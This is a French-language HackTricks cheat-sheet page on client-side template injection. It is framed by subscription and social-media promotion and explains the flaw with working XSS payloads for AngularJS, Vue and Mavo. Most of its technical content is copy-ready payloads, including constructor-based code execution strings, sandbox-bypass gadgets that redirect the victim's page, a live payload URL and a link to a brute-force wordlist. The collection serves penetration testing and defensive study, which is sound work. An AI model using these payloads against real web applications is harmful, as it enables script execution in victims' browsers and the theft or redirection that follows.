7 KiB
Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!
Autres façons de soutenir HackTricks :
- Si vous souhaitez voir votre entreprise annoncée dans HackTricks ou télécharger HackTricks en PDF, consultez les PLANS D'ABONNEMENT !
- Obtenez le swag officiel PEASS & HackTricks
- Découvrez La famille PEASS, notre collection exclusive de NFTs
- Rejoignez le 💬 groupe Discord ou le groupe Telegram ou suivez-nous sur Twitter 🐦 @carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR aux HackTricks et HackTricks Cloud dépôts GitHub.
Résumé
C'est comme une Injection de Modèle Côté Serveur mais côté client. Le SSTI peut vous permettre d'exécuter du code sur le serveur distant, le CSTI pourrait vous permettre d'exécuter du code JavaScript arbitraire dans le navigateur de la victime.
Le test de cette vulnérabilité est très similaire à celui du SSTI, l'interpréteur attend un modèle et l'exécutera. Par exemple, avec une charge utile comme {{ 7-7 }}
, si l'application est vulnérable, vous verrez un 0
, sinon, vous verrez l'original : {{ 7-7 }}
AngularJS
AngularJS est un framework JavaScript largement utilisé qui interagit avec HTML à travers des attributs connus sous le nom de directives, dont une notable est ng-app
. Cette directive permet à AngularJS de traiter le contenu HTML, permettant l'exécution d'expressions JavaScript à l'intérieur de doubles accolades.
Dans les scénarios où une entrée utilisateur est insérée dynamiquement dans le corps HTML balisé avec ng-app
, il est possible d'exécuter du code JavaScript arbitraire. Cela peut être réalisé en exploitant la syntaxe d'AngularJS dans l'entrée. Voici des exemples démontrant comment du code JavaScript peut être exécuté :
{{$on.constructor('alert(1)')()}}
{{constructor.constructor('alert(1)')()}}
<input ng-focus=$event.view.alert('XSS')>
<!-- Google Research - AngularJS -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
Vous pouvez trouver un exemple en ligne très basique de la vulnérabilité dans AngularJS sur http://jsfiddle.net/2zs2yv7o/ et dans Burp Suite Academy
{% hint style="danger" %}
Angular 1.6 a supprimé le bac à sable donc à partir de cette version, une charge utile comme {{constructor.constructor('alert(1)')()}}
ou <input ng-focus=$event.view.alert('XSS')>
devrait fonctionner.
{% endhint %}
VueJS
Vous pouvez trouver une implémentation Vue vulnérable sur https://vue-client-side-template-injection-example.azu.now.sh/
Charge utile fonctionnelle: https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%
Et le code source de l'exemple vulnérable est ici: https://github.com/azu/vue-client-side-template-injection-example
<!-- Google Research - Vue.js-->
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>
Un très bon article sur CSTI en VUE peut être trouvé sur https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets
V3
{{_openBlock.constructor('alert(1)')()}}
Crédit : Gareth Heyes, Lewis Ardern & PwnFunction
V2
{{constructor.constructor('alert(1)')()}}
Crédit: Mario Heiderich
Consultez plus de charges utiles VUE dans https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected
Mavo
Charge utile:
[7*7]
[(1,alert)(1)]
<div mv-expressions="{{ }}">{{top.alert(1)}}</div>
[self.alert(1)]
javascript:alert(1)%252f%252f..%252fcss-images
[Omglol mod 1 mod self.alert (1) andlol]
[''=''or self.alert(lol)]
<a data-mv-if='1 or self.alert(1)'>test</a>
<div data-mv-expressions="lolx lolx">lolxself.alert('lol')lolx</div>
<a href=[javascript&':alert(1)']>test</a>
[self.alert(1)mod1]
Plus de charges utiles dans https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations
Liste de détection de force brute
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!
Autres façons de soutenir HackTricks:
- Si vous souhaitez voir votre entreprise annoncée dans HackTricks ou télécharger HackTricks en PDF Consultez les PLANS D'ABONNEMENT!
- Obtenez le swag officiel PEASS & HackTricks
- Découvrez La famille PEASS, notre collection exclusive de NFTs
- Rejoignez le 💬 groupe Discord ou le groupe Telegram ou suivez-nous sur Twitter 🐦 @carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR aux HackTricks et HackTricks Cloud dépôts github.